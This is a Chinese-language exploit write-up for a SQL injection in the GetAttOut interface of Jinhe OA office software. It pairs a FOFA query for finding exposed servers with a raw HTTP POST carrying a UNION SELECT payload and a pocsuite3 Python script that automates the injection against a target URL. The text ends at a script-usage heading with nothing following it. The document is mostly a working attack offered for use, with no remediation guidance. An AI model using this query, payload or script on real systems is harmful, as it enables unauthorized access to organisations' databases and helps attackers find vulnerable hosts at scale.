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漏洞描述

金和OA GetAttOut接口存在SQL注入漏洞。

fofa语句

app="金和网络-金和OA" || body="/jc6/platform/sys/login"

poc加检测

POST /jc6/JHSoft.WCF/TEST/GetAttOut HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded

1' union select null,null,@@version,null,null,null--

poc脚本

脚本使用pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2024/1/14
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class jinhe_getattout_sql(POCBase):
    pocDesc = '''金和OA GetAttOut接口 SQL注入'''
    author = '炼金术师诸葛亮'
    createDate = '2024-1-14'
    name = '金和OA GetAttOut接口 SQL注入漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/jc6/JHSoft.WCF/TEST/GetAttOut'
        headers = {
            "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",
            "Accept": "*/*",
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'close',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        try:
            data = "1' union select null,null,@@version,null,null,null--"


            response = requests.post(url, headers=headers,data=data)
            if response.status_code == 200 and 'success' in response.text:
                result['VerifyInfo'] = {}


            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(jinhe_getattout_sql)

脚本利用